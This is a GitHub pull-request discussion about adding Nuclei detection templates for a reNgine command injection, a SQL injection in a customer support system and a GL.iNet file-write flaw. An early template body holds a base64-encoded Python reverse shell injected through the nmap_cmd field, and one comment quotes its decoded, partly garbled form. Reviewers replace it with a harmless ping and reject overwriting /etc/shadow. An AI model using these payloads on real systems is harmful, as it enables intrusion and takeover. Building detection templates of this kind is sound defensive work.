Added template for CVE-2023-46455, CVE-2023-50094 #11144
Conversation
Template Explanation: Info Section: Contains metadata about the exploit, including the name, author, severity, tags, description, and references. Requests Section: The first request simulates logging into the platform. The second request checks the status of the scan engine page. The third request modifies the scan engine configuration to include the command injection payload. Matchers: Used to verify successful login and other operations.
| path: | ||
| - "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines | ||
| body: | | ||
| nmap_cmd: 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2V0LkFfSU5FVCxzLmNvbm5lY3QoIiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh # Modify this as needed for proper syntax |
There was a problem hiding this comment.
no this is a valid base 64 and this is the original code
python3 -c 'import socket,os,pty;s=socket.socket(socet.A_INET,s.connect("#��#CB�S�c"c�c�"2GW�"2fV�2GW�"2fV�2GW�"2fV"�G7��v"&6"r
There was a problem hiding this comment.
What does it do? It's not valid python, and I don't see why you'd want to connect to a socket? It seems awfully like a reverse shell. Am I missing something? 😓
There was a problem hiding this comment.
Getting a pingback to the interactsh-url is enough.
There was a problem hiding this comment.
okay here is the update for ping interactsh-url only
but what is the variable should I add in the encoded code for ping interactsh-url ?
There was a problem hiding this comment.
should I push now
path:
- "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
body: |
nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}} decoded version
path:
- "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
body: |
nmap_cmd: 'echo "ping "${{interactsh-url}}"" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}
There was a problem hiding this comment.
#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######
path:
- "{{BaseURL}}/scan-engine/update" # Adjust the endpoint for modifying scan engines
body: |
nmap_cmd: 'echo "cGluZyAiJHt7aW50ZXJhY3RzaC11cmx9fSI=" | base64 --decode | /bin/sh' # Sends ping to {{interactsh-url}}
#######EDIT_TO_MAKE_THE_TEMPLATE_PING_INTERACTSH#######
|
Interesting, never saw reNgine had vuln before, about GL.iNet don't you think this payload is dangerous to run on prod? |
|
This CVE was first exposed on 2024-09-29, so it's understandable if this is the first time you've heard about this vulnerability. ReferenceI haven’t publicly disclosed the vulnerability details yet. However, since there were no existing Nuclei templates for this vulnerability, I created one myself. I'm also planning to compile a comprehensive list of unknown vulnerabilities and publish it. |
|
I am waiting for the accept :) |
ehsandeep
changed the title
|
first time to know those has CVEs |
…tem-sql-injection.yaml
|
Hi @Zierax, I've removed the |
|
It is crucial to avoid overwriting sensitive files like Additionally, don’t forget to update both templates with the POC reference and CVE id for clarity. |
Zierax
changed the title
|
Done; |
|
Hi @Zierax, Both templates appear to be authenticated. To help validate the matchers, could you please share the debug data for the templates of CVE-2023-46455 and CVE-2023-50094? Additionally, in the Thank you! |
|
I cant now using the tamplates against vulnerable services "it's illegal", so if you can provide the vulnerable services for scan it by the templates I would use them then provide the debuging data |
Template / PR Information
This template checks for a command injection vulnerability in reNgine v2.2.0, where an authenticated user can manipulate parameters in the scan engine configuration to execute arbitrary system commands.
Template Validation
I've validated this template locally?
Additional Details
intitle:"reNgine"nmap_cmdAdditional References:
Template / PR Information
This template tests for SQL injection vulnerabilities in the Customer Support System v1.0, allowing an authenticated user to execute arbitrary SQL commands by injecting malicious payloads into specific parameters.
Template Validation
I've validated this template locally?
Additional Details
inurl:"customer_support/index.php"department_id,customer_id,subjectPOST /customer_support/ajax.php?action=save_ticketAdditional References:
Template / PR Information
This template checks for an arbitrary file write vulnerability in GL.iNet devices (<= 4.3.7). An attacker can overwrite system files, including the shadow file, allowing modification of root access credentials.
Template Validation
I've validated this template locally?
Additional Details
intitle:"GL.iNet Admin Panel"/upload/etc/shadowAdditional References: